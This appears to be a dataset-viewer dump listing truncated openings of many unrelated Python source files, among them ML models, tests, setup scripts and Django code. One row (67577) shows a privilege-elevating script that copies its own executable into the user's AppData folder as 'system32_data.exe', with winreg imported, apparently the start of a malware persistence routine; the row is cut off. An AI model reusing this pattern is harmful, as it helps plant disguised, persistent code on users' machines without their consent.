id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
67088 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import cv2
import numpy as np
from progress.bar import Bar
import time
import torch
from src.lib.external.nms import soft_nms
from src.lib.models.decode import ddd_decode
from src.lib.models.utils import flip_... |
67159 | import unittest
from onnx import helper
from onnx import onnx_pb as onnx_proto
from onnxconverter_common.decast import decast
class DecastTestCase(unittest.TestCase):
def test_decast(self):
nodes = []
nodes[0:] = [helper.make_node('Identity', ['input1'], ['identity1'])]
nodes[1:] = [help... |
67162 | from __future__ import print_function
import os
def log_check_call(command, stdin=None, env=None, shell=False, cwd=None):
status, stdout, stderr = log_call(command, stdin, env, shell, cwd)
from subprocess import CalledProcessError
if status != 0:
e = CalledProcessError(status, ' '.join(command), '... |
67175 | import csv
from corpus_util import add_word_continuation_tags
def get_tag_data_from_corpus_file(f):
"""Loads from file into four lists of lists of strings of equal length:
one for utterance iDs (IDs))
one for words (seq),
one for pos (pos_seq)
one for tags (targets)."""
f = open(f)
prin... |
67179 | from itertools import product
import torch
from dgmc.models import GIN
def test_gin():
model = GIN(16, 32, num_layers=2, batch_norm=True, cat=True, lin=True)
assert model.__repr__() == ('GIN(16, 32, num_layers=2, batch_norm=True, '
'cat=True, lin=True)')
x = torch.randn(1... |
67226 | import json
import mgp
import os
from kafka import KafkaProducer
KAFKA_IP = os.getenv('KAFKA_IP', 'kafka')
KAFKA_PORT = os.getenv('KAFKA_PORT', '9092')
@mgp.read_proc
def create(created_objects: mgp.Any
) -> mgp.Record():
created_objects_info = {'vertices': [], 'edges': []}
for obj in created_ob... |
67257 | from spaceone.core.service.utils import *
from spaceone.core.service.service import *
__all__ = ['BaseService', 'transaction', 'authentication_handler', 'authorization_handler', 'mutation_handler',
'event_handler', 'check_required', 'append_query_filter', 'change_tag_filter', 'change_timestamp_value',
... |
67282 | import fnmatch
import os
import platform
import subprocess
import sys
import logging
from distutils.version import LooseVersion
from setuptools import setup, Extension
log = logging.getLogger(__name__)
ch = logging.StreamHandler()
log.addHandler(ch)
MIN_GEOS_VERSION = "3.5"
if "all" in sys.warnoptions:
# show GE... |
67302 | import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="coderunner",
version="1.0",
license="MIT",
author="<NAME>",
author_email="<EMAIL>",
description="A judge for your programs, run and test your programs using python",
keywords="judg... |
67303 | from objects.modulebase import ModuleBase
from objects.permissions import PermissionEmbedLinks, PermissionAttachFiles
from io import BytesIO
from discord import Embed, Colour, File
from constants import ID_REGEX, EMOJI_REGEX
EMOJI_ENDPOINT = 'https://cdn.discordapp.com/emojis/{}'
TWEMOJI_ENDPOINT = 'https://bot.mo... |
67311 | import os
import random
import itertools
vector_template = '''static uint64_t {}[{}] =
{{
{}
}};
'''
max_u64 = 0xffffffffffffffff
max_u64_str = str(hex(max_u64))
def get_random_u64 (size):
return '0x' + (os.urandom(size).hex() if size != 0 else '0')
def print_vectors (name, l):
return vector_template.f... |
67333 | import tensorflow as tf
from neupy import layers
from neupy.utils import tf_utils, as_tuple
from neupy.layers.base import BaseGraph
__all__ = ('mixture_of_experts',)
def check_if_network_is_valid(network, index):
if not isinstance(network, BaseGraph):
raise TypeError(
"Invalid input, Mixtur... |
67356 | import numpy as np
from numpy.linalg import lstsq
from numpy.testing import (assert_allclose, assert_equal, assert_,
run_module_suite, assert_raises)
from scipy.sparse import rand
from scipy.sparse.linalg import aslinearoperator
from scipy.optimize import lsq_linear
A = np.array([
[0.17... |
67361 | import base64
from auth_helper import *
from campaignmanagement_example_helper import *
# You must provide credentials in auth_helper.py.
# To run this example you'll need to provide your own images.
# For required aspect ratios and recommended dimensions please see
# Image remarks at https://go.microsoft.com/fwl... |
67391 | import numpy as np
import torch
import torch.nn.functional as F
from nnlib.nnlib import visualizations as vis
from nnlib.nnlib import losses, utils
from modules import nn_utils
from methods.predict import PredictGradBaseClassifier
class LIMIT(PredictGradBaseClassifier):
""" The main method of "Improving generali... |
67425 | from .transformation_workflows import (AffineTransformationWorkflow,
LinearTransformationWorkflow,
TransformixCoordinateTransformationWorkflow,
TransformixTransformationWorkflow)
|
67447 | import os, subprocess
if __name__ == "__main__":
move_into_container = list()
if input("Do you want to move some of your local files into to container? This will overwrite files from origin/master. (y/n) ").startswith("y"):
for f in sorted(os.listdir()):
if input("Move %s into container (y/... |
67454 | from easydict import EasyDict as edict
import numpy as np
config = edict()
config.IMG_HEIGHT = 375
config.IMG_WIDTH = 1242
# TODO(shizehao): infer fea shape in run time
config.FEA_HEIGHT = 12
config.FEA_WIDTH = 39
config.EPSILON = 1e-16
config.LOSS_COEF_BBOX = 5.0
config.LOSS_COEF_CONF_POS = 75.0
config.LOSS_COEF_... |
67472 | def forrest(self):
'''Random Forrest based reduction strategy. Somewhat more
aggressive than for example 'spearman' because there are no
negative values, but instead the highest positive correlation
is minused from all the values so that max value is 0, and then
values are turned into positive. The... |
67476 | sns.catplot(data=density_mean, kind="bar",
x='Bacterial_genotype',
y='optical_density',
hue='Phage_t',
row="experiment_time_h",
sharey=False,
aspect=3, height=3,
palette="colorblind") |
67517 | import torch
from torch import nn
from torch.autograd import Variable
import random
print_shape_flag = True
class Seq2Seq(nn.Module):
def __init__(self, encoder, decoder, output_max_len, vocab_size):
super(Seq2Seq, self).__init__()
self.encoder = encoder
self.decoder = decoder
self... |
67542 | from django.urls import reverse
from django.contrib.admin.templatetags.admin_modify import submit_row
from django.utils.encoding import force_text
from django.template import Library
register = Library()
@register.inclusion_tag('subadmin/breadcrumbs.html', takes_context=True)
def subadmin_breadcrumbs(context):
r... |
67552 | import balanced
balanced.configure('ak-test-2eKlj1ZDfAcZSARMf3NMhBHywDej0avSY')
reversal = balanced.Reversal.fetch('/reversals/RV6AleFrrhNHBDpr9W9ozGmY')
reversal.description = 'update this description'
reversal.meta = {
'user.refund.count': '3',
'refund.reason': 'user not happy with product',
'user.notes': 've... |
67572 | from datetime import datetime
from os.path import dirname, join
from unittest.mock import MagicMock
import pytest
from city_scrapers_core.constants import BOARD, TENTATIVE
from city_scrapers_core.utils import file_response
from freezegun import freeze_time
from city_scrapers.spiders.chi_library import ChiLibrarySpide... |
67574 | from threading import Thread
from queue import Queue
import numpy as np
from ...libffcv import read
class PageReader(Thread):
def __init__(self, fname:str, queries: Queue, loaded: Queue,
memory: np.ndarray):
self.fname: str = fname
self.queries: Queue = queries
self.mem... |
67577 | import os
import shutil
import winreg
import sys
import time
from elevate import elevate
elevate()
print("elevated")
curr_executable = sys.executable
print(curr_executable)
time.sleep(5)
app_data = os.getenv("APPDATA")
to_save_file = app_data +"\\"+"system32_data.exe"
time.sleep(5)
print(to_save_file)
if not os.pat... |
67579 | import SimpleITK as sitk
import numpy as np
#from segmentation.lungmask import mask
import glob
from tqdm import tqdm
import os
from segmentation.predict import predict,get_model
#from segmentation.unet import UNet
os.environ["CUDA_VISIBLE_DEVICES"] = '6'
lung_dir = '/mnt/data11/seg_of_XCT/lung/CAP/'
leision_dir = '/... |
67616 | from typing import Callable
def rpc(*, name) -> Callable:
"""Decorate a coroutine as an RPC method that can be executed by the server.
Args:
name: The name of the RPC method
Returns:
A decorator that will mark the coroutine as an RPC method
"""
def decorator(func) -> Callable:
... |
67656 | from django.contrib import admin
from api.logger import logger
from api.models import User
import registrations.models as models
from reversion_compare.admin import CompareVersionAdmin
class PendingAdmin(CompareVersionAdmin):
search_fields = ('user__username', 'user__email', 'admin_contact_1', 'admin_contact_2')
... |
67675 | import numpy as np
from scipy import interpolate
from progressbar import ProgressBar, Bar, Percentage
class ImpulseResponseFunction(object):
'''Internal bemio object to contain impulse response function (IRF) data
'''
pass
class WaveElevationTimeSeries(object):
'''Internal bemio object to contain wave... |
67758 | def regularized_MSE_loss(output, target, weights=None, L2_penalty=0, L1_penalty=0):
"""loss function for MSE
Args:
output (torch.Tensor): output of network
target (torch.Tensor): neural response network is trying to predict
weights (torch.Tensor): fully-connected layer weights of network (net.out_layer... |
67807 | import numpy as np
import tensorflow as tf
class batch_norm(object):
"""Code modification of http://stackoverflow.com/a/33950177"""
def __init__(self, epsilon=1e-5, momentum = 0.9, name="batch_norm"):
with tf.variable_scope(name):
self.epsilon = epsilon
self.momentum = momentum
... |
67815 | from setuptools import setup, find_packages
setup(
name="commandment",
version="0.1",
description="Commandment is an Open Source Apple MDM server with support for managing iOS and macOS devices",
packages=['commandment'],
include_package_data=True,
author="mosen",
license="MIT",
url="htt... |
67874 | from streamlink.plugins.oneplusone import OnePlusOne
from tests.plugins import PluginCanHandleUrl
class TestPluginCanHandleUrlOnePlusOne(PluginCanHandleUrl):
__plugin__ = OnePlusOne
should_match = [
"https://1plus1.video/ru/tvguide/plusplus/online",
"https://1plus1.video/tvguide/1plus1/online... |
67884 | def hey(phrase):
phrase = phrase.strip()
if not phrase:
return "Fine. Be that way!"
elif phrase.isupper():
return "Whoa, chill out!"
elif phrase.endswith("?"):
return "Sure."
else:
return 'Whatever.'
|
67892 | from poop.hfdp.command.undo.command import Command
from poop.hfdp.command.undo.nocommand import NoCommand
class RemoteControlWithUndo:
def __init__(self) -> None:
no_command = NoCommand()
self.__on_commands: list[Command] = [no_command for _ in range(7)]
self.__off_commands: list[Command] ... |
67945 | import os
import pytest
import nucleus
from tests.helpers import TEST_DATASET_ITEMS, TEST_DATASET_NAME
assert "NUCLEUS_PYTEST_API_KEY" in os.environ, (
"You must set the 'NUCLEUS_PYTEST_API_KEY' environment variable to a valid "
"Nucleus API key to run the test suite"
)
API_KEY = os.environ["NUCLEUS_PYTEST_... |
67963 | from django import forms
class SampleSearchForm(forms.Form):
"""Search form for test purposes"""
query = forms.CharField(widget=forms.TextInput(attrs={'class': 'input-xlarge search-query',
'autocomplete': 'off'}))
|
67981 | import numpy as np
from skimage.transform import resize
import skimage
import torchvision.utils as tvutils
import torch
import PIL
from PIL import Image
import torchvision
class UnNormalize(object):
def __init__(self, mean, std):
self.mean = torch.tensor(mean).unsqueeze(0).unsqueeze(2).unsqueeze(3)
... |
68031 | import sqlmlutils
connection=sqlmlutils.ConnectionInfo(server="localhost",database="Test")
sqlmlutils.SQLPackageManager(connection).install("textblob") |
68037 | from setuptools import setup, find_packages
"""
Instructions for creating a release of the scispacy library.
1. Make sure your working directory is clean.
2. Make sure that you have changed the versions in "scispacy/version.py".
3. Create the distribution by running "python setup.py sdist" in the root of the reposit... |
68073 | from concurrent.futures.thread import ThreadPoolExecutor
from typing import List
from provider.aws.common_aws import get_paginator
from provider.aws.limit.command import LimitOptions
from provider.aws.limit.data.allowed_resources import (
ALLOWED_SERVICES_CODES,
FILTER_EC2_BIGFAMILY,
SPECIAL_RESOURCES,
)
f... |
68118 | from setuptools import setup, find_packages
import sys
import os
VERSION = '1.6'
# Cython has to be installed before. And I could not find any other ways.
os.system('pip install cython')
from Cython.Build import cythonize
if sys.version_info[0] < 3:
raise Exception('Must be using Python 3.')
setup(name='lead-l... |
68148 | import os
print(os.getcwd())
l = os.listdir()
print(l)
assert "test_dirs.py" in l
assert "os" in l
for t in os.walk("."):
print(t)
for t in os.walk(".", False):
print(t)
|
68173 | def extractNovelsJapan(item):
"""
'Novels Japan'
"""
if item['title'].endswith(' (Sponsored)'):
item['title'] = item['title'][:-1 * len(' (Sponsored)')]
if item['title'].endswith(' and Announcement'):
item['title'] = item['title'][:-1 * len(' and Announcement')]
vol, chp, frag, postfix = extractVolChapterFrag... |
68206 | from __future__ import absolute_import
import sys
try:
import threading
except ImportError:
threading = None
import time
from django.db import (connection, transaction,
DatabaseError, Error, IntegrityError, OperationalError)
from django.test import TransactionTestCase, skipIfDBFeature, skipUnlessDBFeature... |
68249 | try:
from setuptools import setup, find_packages
except ImportError:
print 'Please download and install setuptools (http://pypi.python.org/pypi/setuptools)'
exit(1)
setup(
name = "Brive",
version = "0.4.0",
packages = find_packages(),
author = "<NAME>",
author_email = "<EMAIL>",
de... |
68261 | import torch.nn as nn
import math
import torch
def init_model(model, **kwargs):
conv_type = kwargs.get("conv_type", None)
if conv_type == "def":
conv_type = None
bias_type = kwargs.get("bias_type", None)
if bias_type == "def":
bias_type = None
mode = kwargs.get("mode", None)
no... |
68276 | import wx.lib.agw.floatspin as floatspin
from .wxControl import *
class 图片操作(wx.Image, 公用方法):
pass
def 设置宽度高度(self, width, height, quality=0):
return 图片操作(self.Scale(width, height, quality))
def 取位图(self, depth=-1):
return self.ConvertToBitmap(depth)
|
68321 | import os
import json
import logging
import sys
from django.db import transaction
from django.apps import apps
from scripts import utils as script_utils
from scripts.populate_preprint_providers import update_or_create
from website.app import init_app
from website import settings
logger = logging.getLogger(__name__)... |
68359 | import unittest
from collections import OrderedDict
from conans.model.ref import ConanFileReference
from conans.test.utils.tools import TestServer, TurboTestClient, GenConanfile
class InstallCascadeTest(unittest.TestCase):
def setUp(self):
"""
A
/ \
B C
| \
D ... |
68495 | import datetime
from ..dojo_test_case import DojoTestCase
from dojo.models import Test
from dojo.tools.acunetix.parser import AcunetixParser
class TestAcunetixParser(DojoTestCase):
def test_parse_file_with_one_finding(self):
testfile = open("unittests/scans/acunetix/one_finding.xml")
parser = Ac... |
68545 | from compas_fab.backends import RosClient
from helpers import show_trajectory
from compas.geometry import Frame
with RosClient("localhost") as client:
robot = client.load_robot()
group = robot.main_group_name
frames = []
frames.append(Frame((0.3, 0.1, 0.05), (-1, 0, 0), (0, 1, 0)))
frames.append(... |
68608 | import clr
clr.AddReference('RevitAPI')
from Autodesk.Revit.DB import *
clr.AddReference("RevitNodes")
import Revit
clr.ImportExtensions(Revit.Elements)
refgroup = UnwrapElement(IN[0])
groups = UnwrapElement(IN[1])
# Get Mirrored state of first family instance in reference group instance
refGroupMembers = refgroup.G... |
68643 | import pytest
from ics import Calendar, ContentLine
def test_gh195_override_prodid():
lines = [
"BEGIN:VCALENDAR",
"VERSION:2.0",
"X-WR-CALNAME:<NAME>",
"X-APPLE-CALENDAR-COLOR:#996633",
"END:VCALENDAR"
]
with pytest.raises(ValueError, match="attribute PRODID is re... |
68716 | import jittor as jt
import numpy as np
from advance import *
import matplotlib.pyplot as plt
import argparse
import matplotlib.pyplot as plt
from tqdm import trange
from utils import get_model, modelSet, dataset_choices
import argparse
plt.switch_backend('agg')
# CUDA_VISIBLE_DEVICES=0 log_silent=1 python3.7 run_ssl... |
68731 | import logging
import os
import re
import time
from threading import Event, Lock, Thread
import cook.util as cu
class ProgressSequenceCounter:
"""Utility class that supports atomically incrementing the sequence value."""
def __init__(self, initial=0):
self.lock = Lock()
self.value = initial
... |
68794 | import sys
import inspect
import threading
#import logging
class logging:
@staticmethod
def debug( msg ):
print( msg, file=sys.stderr)
def format_frame( frame ):
return '{}:{} {}'.format( *[str(getattr(frame, a)) for a in ('filename', 'lineno', 'function')] )
# Class to wrap Lock and simplify logging of lock us... |
68800 | import numpy
import six
from chainer.backends import cuda
from chainer.backends import intel64
from chainer import function_node
from chainer.utils import type_check
def _cu_conv_sum(y, x, n):
# Convolutional sum
# TODO(beam2d): Use scan computation
rdim = x.size // (x.shape[0] * x.shape[1])
cuda.ele... |
68842 | import pytest
from bepasty.storage.filesystem import Storage
def test_contains(tmpdir):
storage = Storage(str(tmpdir))
name = "foo"
# check if it is not there yet
assert name not in storage
with storage.create(name, 0):
# we just want it created, no need to write sth into it
pass
... |
68844 | from django.conf.urls.defaults import *
urlpatterns = patterns('',
url(r'^login/$', 'authsub.views.login', name="authsub_login"),
) |
68885 | from __future__ import absolute_import
import pkg_resources
__version__ = '0.3.0'
BASE_JAR = "pyleus-base.jar"
BASE_JAR_PATH = pkg_resources.resource_filename('pyleus', BASE_JAR)
|
68904 | RTL_LANGUAGES = {
'he', 'ar', 'arc', 'dv', 'fa', 'ha',
'khw', 'ks', 'ku', 'ps', 'ur', 'yi',
}
COLORS = {
'primary': '#0d6efd', 'blue': '#0d6efd', 'secondary': '#6c757d',
'success': '#198754', 'green': '#198754', 'danger': '#dc3545',
'red': '#dc3545', 'warning': '#ffc107', 'yellow': '#ffc107',
... |
68908 | from shapely.geometry import Point, MultiPoint, Polygon, MultiPolygon
from shapely.ops import cascaded_union, polygonize
from shapely.prepared import prep
from rtree import Rtree
import sys, random, json, numpy, math, pickle, os
SAMPLE_ITERATIONS = 200
SAMPLE_SIZE = 5
MEDIAN_THRESHOLD = 5.0
median_distance_cache = {}... |
68975 | from .GrdFile import *
from .MdfFile import *
from .TimeSeriesFile import *
from .GrdFile import *
from .DepFile import *
from .Simulation import *
|
68992 | subscription_data=\
{
"description": "A subscription to get info about Room1",
"subject": {
"entities": [
{
"id": "Room1",
"type": "Room",
}
],
"condition": {
"attrs": [
"p3"
]
}
},
"notification": {
"http": {
"url": "http://192.168.100.162:88... |
68994 | import unittest
import time
from tir import Webapp
from datetime import datetime
DateSystem = datetime.today().strftime('%d/%m/%Y')
"""-------------------------------------------------------------------
/*/{Protheus.doc} FINA560TestCase
TIR - Casos de testes da rotina movimentos de caixinha
@author <NAME>
@since 23/... |
69017 | from rest_framework.test import APIClient
from tests.app.serializers import QuoteSerializer
from tests.utils import decode_content
def test_list_response_unfiltered():
response = APIClient().get('/quotes/')
expected = [
{
'character': 'Customer',
'line': "It's certainly uncont... |
69019 | from __future__ import absolute_import, division, print_function
import os
from idaskins import UI_DIR
from PyQt5 import uic
from PyQt5.Qt import qApp
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QCursor, QFont, QKeySequence
from PyQt5.QtWidgets import QShortcut, QWidget
Ui_ObjectInspector, ObjectInspectorBas... |
69044 | from django.conf import settings
from django.contrib.contenttypes.models import ContentType
from django.http import HttpResponseForbidden, JsonResponse
from django.shortcuts import get_object_or_404
from django.template.loader import render_to_string
from django.views.generic import View
from .categories import catego... |
69050 | import covid.models.SEIRD
import covid.models.SEIRD_variable_detection
import covid.models.SEIRD_incident
import covid.util as util
# 2020-04-25 forecast (?)
SEIRD = {
'model' : covid.models.SEIRD.SEIRD,
'args' : {} # use defaults
}
# 2020-05-03 forecast
strongest_prior = {
'model' : co... |
69056 | from winregistry.consts import ShortRootAlias, WinregType
from winregistry.models import RegEntry, RegKey
from winregistry.winregistry import WinRegistry
__all__ = (
"WinRegistry",
"RegEntry",
"RegKey",
"WinregType",
"ShortRootAlias",
)
|
69058 | import time
print("I will write the same line 3 times, slowly.\n")
time.sleep(2)
for n in range(3):
print("Sleep ... zzz ...")
time.sleep(5)
print("\nThe End")
|
69061 | from aiohttp_json_api.controller import DefaultController
from aiohttp_json_api.errors import ResourceNotFound
from aiohttp_json_api.fields.decorators import includes
import examples.fantasy.tables as tbl
from examples.fantasy.models import Author
class CommonController(DefaultController):
async def create_resou... |
69070 | from funboost import boost
import re
import requests
from parsel import Selector
from pathlib import Path
"""
http://www.5442tu.com/mingxing/list_2_1.html 下载所有明星图片
"""
@boost('xiaoxianrou_list_page', qps=0.05)
def cralw_list_page(page_index):
url = f'http://www.5442tu.com/mingxing/list_2_{page_index}.html'
... |
69078 | import torch
import torch.nn as nn
from dfw.losses import MultiClassHingeLoss, set_smoothing_enabled
def get_loss(args):
if args.opt == 'dfw':
loss_fn = MultiClassHingeLoss()
if 'cifar' in args.dataset:
args.smooth_svm = True
elif args.dataset == 'imagenet':
return EntrLoss... |
69085 | from django.db import migrations
class Migration(migrations.Migration):
dependencies = [("cases", "0012_auto_20150311_0434")]
operations = [
migrations.RemoveField(model_name="case", name="created_by"),
migrations.RemoveField(model_name="case", name="created_on"),
migrations.RemoveFi... |
69107 | from typing import Optional, List
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def _inorder_traversal(self, root: TreeNode, list: List[int]) -> None:
... |
69117 | from blaze.expr import symbol
import numpy as np
from datashape import dshape, isscalar
def test_array_dshape():
x = symbol('x', '5 * 3 * float32')
assert x.shape == (5, 3)
assert x.schema == dshape('float32')
assert len(x) == 5
assert x.ndim == 2
def test_element():
x = symbol('x', '5 * 3 *... |
69155 | from joblib import delayed, Parallel
import os
import sys
import glob
from tqdm import tqdm
import cv2
import argparse
import matplotlib.pyplot as plt
plt.switch_backend('agg')
def str2bool(s):
"""Convert string to bool (in argparse context)."""
if s.lower() not in ['true', 'false']:
raise ValueE... |
69200 | import requests
from io import BytesIO
from PIL import Image
def get_user_image(url):
response = requests.get(url)
img_file = BytesIO(response.content)
return Image.open(img_file)
def get_user_details(username):
res = requests.get(f'https://api.github.com/users/{username}')
return res.json() if... |
69264 | from django.db import migrations
INSTANCE_TYPE = 'OpenStackTenant.Instance'
VOLUME_TYPE = 'OpenStackTenant.Volume'
def change_billing_types(apps, schema_editor):
Offering = apps.get_model('marketplace', 'Offering')
OfferingComponent = apps.get_model('marketplace', 'OfferingComponent')
for offering in O... |
69280 | import numpy as np
import scipy as sp
import scipy.sparse
import matplotlib as mpl
import matplotlib.pyplot as plt
import matplotlib.path
import time
plt.ion()
import pybie2d
"""
Demonstrate how to use the pybie2d package to solve an interior Laplace problem
On a complicated domain using a global quadrature
This exam... |
69359 | from SDLInterface import SDLInterface
from abc import abstractmethod
class InterfaceGenerator:
def __init__(self):
pass
@abstractmethod
def add_interface(self, sdl_interface: SDLInterface):
pass
@abstractmethod
def generate(self, output_directory):
pass
@abstractmethod
def name(self):
pass
|
69411 | from responsebot.handlers import BaseTweetHandler, register_handler
@register_handler
class HandlerClassInInit(BaseTweetHandler):
def on_tweet(self, tweet):
print('HandlerClassInInit')
|
69504 | from __future__ import unicode_literals
import sys
import django
from django.contrib.auth.models import User
from django.core.exceptions import ImproperlyConfigured
from django.test import TestCase
from object_tools import autodiscover
from object_tools.sites import ObjectTools
from object_tools.tests.tools import T... |
69516 | from utilities.analisys_parser.analizer.abstract.expression import Expression, TYPE
from utilities.analisys_parser.analizer.abstract import expression
from utilities.analisys_parser.analizer.reports import Nodo
from utilities.analisys_parser.analizer.statement.expressions import primitive
class Relational(Expression)... |
69584 | import peewee
import playhouse.pool
# This is just one example of one of the support databases
# see https://docs.peewee-orm.com/en/latest/peewee/database.html
db = peewee.MySQLDatabase()
conn = db.connection()
cursor = conn.cursor()
cursor.execute("sql") # $ getSql="sql"
cursor = db.cursor()
cursor.execute("sql") ... |
69602 | import sys
import time
import argparse
import os
import torch
from GPmodel.kernels.mixeddiffusionkernel import MixedDiffusionKernel
from GPmodel.models.gp_regression import GPRegression
from GPmodel.sampler.sample_mixed_posterior import posterior_sampling
from GPmodel.sampler.tool_partition import group_input
from ... |
69633 | import torch
def scal(a, f):
return torch.sum(a * f, dim=1)
def check_cost_consistency(x, y, C):
mask = (
(x.size()[0] == C.size()[0])
& (x.size()[1] == C.size()[1])
& (y.size()[2] == C.size()[2])
)
if not mask:
raise Exception(
"Dimension of cost C incons... |
69646 | from typing import Any
from talon import Module
mod = Module()
mod.list(
"cursorless_to_raw_selection",
desc="Cursorless modifier that converts its input to a raw selection.",
)
@mod.capture(rule="{user.cursorless_to_raw_selection}")
def cursorless_to_raw_selection(m) -> dict[str, Any]:
return {"type"... |
69681 | from abc import ABC, abstractmethod
from typing import Dict
from mlagents.envs import AllBrainInfo, BrainParameters
class BaseUnityEnvironment(ABC):
@abstractmethod
def step(self, vector_action=None, memory=None, text_action=None, value=None) -> AllBrainInfo:
pass
@abstractmethod
def reset(s... |
69800 | import json
import traceback
from dataclasses import dataclass
from datetime import datetime, timedelta, timezone
from pathlib import Path
from typing import Union
from urllib import request as urlreq, parse as urlparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
import iterm2
class... |
69803 | import logging
from django.db import ProgrammingError
from django.core.exceptions import ImproperlyConfigured
from timescale.db.backends.postgis import base_impl
from timescale.db.backends.postgis.schema import TimescaleSchemaEditor
logger = logging.getLogger(__name__)
class DatabaseWrapper(base_impl.backend()):
... |
69826 | from js_reimpl_common import run_op_chapter1_chapter2
def run_op(keys, op, **kwargs):
return run_op_chapter1_chapter2("chapter1", None, keys, op, **kwargs)
def create_new(numbers):
return run_op(None, "create_new", array=numbers)
def create_new_broken(numbers):
return run_op(None, "create_new_broken",... |
69837 | import threading
import time
import pytest
import brownie
def send_and_wait_for_tx():
tx = brownie.accounts[0].transfer(
brownie.accounts[1], "0.1 ether", required_confs=0, silent=True
)
tx.wait(2)
assert tx.confirmations >= 2
assert tx.status == 1
@pytest.fixture
def block_time_networ... |
69842 | import pygame as pg
import sys
from collision import *
SCREENSIZE = (500,500)
screen = pg.display.set_mode(SCREENSIZE, pg.DOUBLEBUF|pg.HWACCEL)
v = Vector
p0 = Concave_Poly(v(0,0), [v(-80,0), v(-20,20), v(0,80), v(20,20), v(80,0), v(20,-20), v(0,-80), v(-20,-20)])
p1 = Concave_Poly(v(500,500), [v(-80,0), v(-20,20)... |
69849 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os,time,datetime,sys
import numpy as np
import dgcnn
import tensorflow as tf
def round_decimals(val,digits):
factor = float(np.power(10,digits))
return int(val * factor+0.5) / factor
def iteration_f... |
69852 | from __future__ import with_statement
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import six
six_classifiers = [
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 3',
'Intended Audience :: Developers',
'License :: OSI Approved... |
69855 | from setuptools import setup, find_packages
with open("README.md", "r") as fh:
long_description = fh.read()
NAME = "energyusage"
VERSION = "0.0.13"
DESCRIPTION = "Measuring the environmental impact of computation"
LONG_DESCRIPTION = long_description
LONG_DESCRIPTION_CONTENT_TYPE = 'text/markdown'
URL = "https:/... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.